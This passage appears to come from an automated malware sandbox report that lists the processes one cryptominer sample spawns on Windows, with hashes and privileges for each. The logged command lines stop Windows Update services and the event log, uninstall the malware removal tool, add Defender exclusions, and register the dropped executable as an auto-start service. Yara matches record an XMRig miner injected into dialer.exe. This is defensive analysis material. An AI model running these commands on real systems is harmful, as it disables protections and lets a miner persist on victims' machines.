Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:59:44
Start date:	14/03/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff691e80000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	13:59:44
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	13:59:44
Start date:	14/03/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff691e80000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	13:59:44
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	13:59:44
Start date:	14/03/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff691e80000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	13:59:44
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	13:59:45
Start date:	14/03/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff691e80000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	13:59:45
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	13:59:45
Start date:	14/03/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff67eca0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	13:59:45
Start date:	14/03/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff67eca0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	13:59:45
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	13:59:45
Start date:	14/03/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff67eca0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	13:59:45
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	13:59:45
Start date:	14/03/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff67eca0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	13:59:45
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	13:59:45
Start date:	14/03/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff643940000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	13:59:45
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	13:59:45
Start date:	14/03/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "SXJAJUSN"
Imagebase:	0x7ff691e80000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	13:59:45
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	13:59:45
Start date:	14/03/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "SXJAJUSN" binpath= "C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe" start= "auto"
Imagebase:	0x7ff691e80000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	13:59:45
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	13:59:45
Start date:	14/03/2024
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff618820000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	13:59:46
Start date:	14/03/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff691e80000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	13:59:46
Start date:	14/03/2024
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff786790000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	13:59:46
Start date:	14/03/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "SXJAJUSN"
Imagebase:	0x7ff691e80000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	13:59:46
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	13:59:46
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	13:59:46
Start date:	14/03/2024
Path:	C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe
Imagebase:	0x7ff7fd500000
File size:	5'614'592 bytes
MD5 hash:	DF65134B0B2B2CC03F07647794B274E5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 96%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	13:59:46
Start date:	14/03/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff7582a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	13:59:46
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	13:59:46
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	57
Start time:	13:59:47
Start date:	14/03/2024
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	dwm.exe
Imagebase:	0x7ff63a830000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	58
Start time:	13:59:51
Start date:	14/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6fd780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	13:59:51
Start date:	14/03/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff691e80000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	13:59:51
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	13:59:51
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	13:59:51
Start date:	14/03/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff7b1800000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	13:59:51
Start date:	14/03/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff691e80000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	13:59:51
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	13:59:51
Start date:	14/03/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff691e80000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	13:59:51
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	13:59:51
Start date:	14/03/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff691e80000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	13:59:51
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	13:59:51
Start date:	14/03/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff691e80000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	13:59:51
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	13:59:51
Start date:	14/03/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff67eca0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	13:59:51
Start date:	14/03/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff67eca0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	13:59:51
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	13:59:52
Start date:	14/03/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff67eca0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	13:59:52
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	13:59:52
Start date:	14/03/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff67eca0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	13:59:52
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	13:59:52
Start date:	14/03/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff643940000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	79
Start time:	13:59:52
Start date:	14/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	13:59:52
Start date:	14/03/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff643940000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	81
Start time:	13:59:52
Start date:	14/03/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	dialer.exe
Imagebase:	0x7ff643940000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000051.00000002.2453295770.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000051.00000002.2453295770.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	82
Start time:	13:59:52
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	83
Start time:	13:59:53
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	84
Start time:	13:59:53
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	85
Start time:	13:59:53
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	86
Start time:	13:59:53
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	87
Start time:	13:59:55
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	88
Start time:	13:59:55
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	89
Start time:	13:59:58
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	90
Start time:	13:59:58
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	91
Start time:	13:59:58
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	92
Start time:	13:59:59
Start date:	14/03/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

